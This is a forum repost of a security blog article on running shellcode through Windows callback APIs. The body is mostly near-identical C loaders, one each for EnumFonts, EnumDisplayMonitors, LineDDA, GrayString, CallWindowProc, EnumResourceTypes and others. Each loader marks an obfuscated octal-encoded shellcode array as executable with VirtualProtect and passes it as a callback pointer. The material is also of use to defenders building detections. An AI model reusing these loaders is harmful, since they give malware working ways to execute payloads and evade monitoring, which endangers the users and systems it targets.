Nytro Posted April 15, 2021 Report Posted April 15, 2021 Executing Shellcode via Callbacks What is a Callback Function? In simple terms, it’s a function that is called through a function pointer. When we pass a function pointer to the parameter where the callback function is required, once that function pointer is used to call that function it points to it’s said that a call back is made. This can be abused to pass shellcode instead of a function pointer. This has been around a long time and there are so many Win32 APIs we can use to execute shellcode. This article contains few APIs that I have tested and are working on Windows 10. Analyzing an API For example, let’s take the function EnumWindows from user32.dll. The first parameter lpEnumFunc is a pointer to a callback function of type WNDENUMPROC. 1 2 3 4 BOOL EnumWindows( WNDENUMPROC lpEnumFunc, LPARAM lParam ); The function passes the parameters to an internal function called EnumWindowsWorker. The first parameter which is the callback function pointer is called inside this function making it possible to pass position independent shellcode. By checking the references, we can see that other APIs use EnumWindowsWorker function making them suitable candidates for executing shellcode. EnumFonts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); EnumFonts(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char *)shellcode, 0); } EnumFontFamilies 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); EnumFontFamilies(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char *)shellcode,0); } EnumFontFamiliesEx 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); EnumFontFamiliesEx(GetDC(0), 0, (FONTENUMPROC)(char *)shellcode, 0, 0); } EnumDisplayMonitors 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); EnumDisplayMonitors((HDC)0,(LPCRECT)0,(MONITORENUMPROC)(char *)shellcode,(LPARAM)0); } LineDDA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); LineDDA(10, 11, 12, 14, (LINEDDAPROC)(char *)shellcode, 0); } GrayString 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); GrayString(0, 0, (GRAYSTRINGPROC)(char *)shellcode, 1, 2, 3, 4, 5, 6); } CallWindowProc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); CallWindowProc((WNDPROC)(char *)shellcode, (HWND)0, 0, 0, 0); } EnumResourceTypes 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <Windows.h> /* * https://osandamalith.com - @OsandaMalith */ int main() { int shellcode[] = { 015024551061,014333060543,012124454524,06034505544, 021303073213,021353206166,03037505460,021317057613, 021336017534,0110017564,03725105776,05455607444, 025520441027,012701636201,016521267151,03735105760, 0377400434,032777727074 }; DWORD oldProtect = 0; BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect); EnumResourceTypes(0, (ENUMRESTYPEPROC)(char *)shellcode, 0); } You can check this repo by my friends @bofheaded & @0xhex21 for other callback APIs. Sursa: https://osandamalith.com/2021/04/01/executing-shellcode-via-callbacks/ 1 Quote